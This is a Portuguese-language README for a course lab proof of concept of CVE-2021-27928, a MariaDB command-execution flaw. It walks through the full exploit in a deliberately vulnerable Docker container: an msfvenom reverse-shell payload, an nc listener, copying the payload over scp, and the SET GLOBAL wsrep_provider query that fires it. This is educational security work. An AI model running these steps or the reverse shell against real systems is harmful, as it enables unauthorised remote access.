
Uma Prova de Conceito para a exploração da falha CVE-2021-27928
Neste repositório, você encontrará uma prova de conceito da exploração da falha CVE-2021-27928 por meio de um contêiner docker.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
As variáveis de sistema wsrep_provider e wsrep_notify_cmd system podem ser modificadas em tempo de execução por um usuário do banco de dados com privilégios de superusuário, o que pode levar à execução de código remoto com esses privilégios.
A primeira variável recebe um caminho para a biblioteca .so que o servidor tentará carregar com dlopen(), e a segunda recebe um caminho para o script de shell que o servidor executará. Permitir que elas sejam graváveis permite que um usuário do banco de dados com privilégios de superusuário execute código arbitrário como o usuário de sistema mysql.
Nesta prova de conceito, usaremos o msfvenom para gerar a biblioteca .so que conterá nosso payload (no nosso caso, um reverse shell). Em seguida, copiaremos esse arquivo para a máquina vulnerável e especificaremos esse caminho na variável wsrep_provider, que executará nosso payload, dando-nos acesso à máquina alvo como um usuário com privilégios de superusuário (aqui, o usuário mysql) graças ao nosso reverse shell.
Para este experimento, você precisará que os pacotes docker, msfvenom, openssh-client e mariadb estejam instalados na sua máquina.
Nesta configuração, a máquina alvo é baseada em uma imagem MariaDB 10.4.12 (que é vulnerável a essa falha), na qual está rodando um servidor openssh sem permitir login como root. Assim, criamos para você um usuário não root, myuser, cuja senha é mypassword.
Construindo a imagem vulnerável:
docker build --rm=true -t mariadb-cve-2021-27928 .
Iniciando a máquina alvo:
docker compose up
O payload é o binário que queremos que a máquina alvo execute assim que o exploit for concluído. Aqui, usamos o msfvenom para criar o payload do reverse shell no formato de uma biblioteca .so, com nosso endereço IP (LHOST) e porta (LPORT) como parâmetros. Em outro shell, execute:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
O endereço IP de
LHOSTé o definido nodocker-compose.yamlpara o gateway de rede, no nosso caso, o atacante, ou seja, você.
Em segundo plano, em um terceiro terminal, escutaremos qualquer conexão de entrada da máquina alvo na porta à qual ela deve se conectar.
nc -lnvp 4444
A porta na qual estamos escutando,
4444, é a que definimos comoLPORTna criação do payload.
Agora, precisamos copiar o payload que criamos anteriormente (payload-CVE-2021-27928.so) para a máquina alvo via ssh usando o comando scp, como o usuário de sistema não root myuser, cuja senha é mypassword:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
Como não podemos copiar diretamente um arquivo via ssh para /usr/lib, precisamos nos conectar à máquina e movê-lo manualmente para o lugar certo (lembre-se de que a senha de myuser é mypassword):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
Poderíamos ter enviado o payload para outro diretório com outro nome, como
/tmp/exploit.so, e passado esse caminho como o caminho do payload, mas, como a falha foi corrigida em todos os pacotes mariadb desde então, a exploração exigiu alguns ajustes que você verá no final desta demonstração.
O último passo é explorar a falha do MariaDB enviando uma requisição como o usuário de sistema não root, porém competente administrador de banco de dados, que somos, com a solicitação de definir a variável global wsrep_provider para o caminho do nosso payload.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
Aqui,
rootsignifica "administrador" no nível do banco de dados, não o usuário "root" do sistema. A senha aqui é, portanto, a do arquivodocker-compose.yaml,MYSQL_ROOT_PASSWORD: myrootpwd.
Por fim, se tudo funcionou como esperado, podemos ver de volta no terminal em que estávamos escutando por qualquer conexão de entrada que a máquina alvo conectou-se de volta a nós com sucesso, e que podemos executar comandos de shell. Divirta-se :)
O reverse shell não é tão sofisticado quanto um shell "clássico": você não tem autocompletar, prompt de shell nem histórico, então cabe a você monitorar a execução adequada dos seus comandos. Assim, como exemplo, não hesite em usar
ls -la.
Você pode executar
whoamino shell do netcat para verificar se você é o usuário de sistemamysql!
De acordo com o Jira do MariaDB, parece que há pouco (ou nenhum) caso de uso prático para permitir que essas variáveis sejam modificadas em tempo de execução; elas só são usadas em testes. Depois que essa falha foi encontrada, a correção foi torná-las somente leitura, o que foi uma correção fácil e segura, ao custo de scripts de teste ligeiramente mais complexos.
Antes não era o caso, mas agora o único valor de caminho que wsrep_provider pode assumir é /usr/lib/galera/libgalera_smm.so, e é por isso que esta prova de conceito exigiu alguns ajustes, como dar direitos de escrita à pasta /usr/lib/galera para poder enviar nosso payload. Essa configuração é, portanto, voluntariamente falível no contexto desta demonstração, mas não é mais utilizável dessa forma na maioria dos sistemas atuais.
Este trabalho foi realizado como parte do curso de Segurança de Sistemas de Informação ministrado no último ano da especialização em Engenharia de Sistemas de Informação na Grenoble INP - Ensimag, UGA.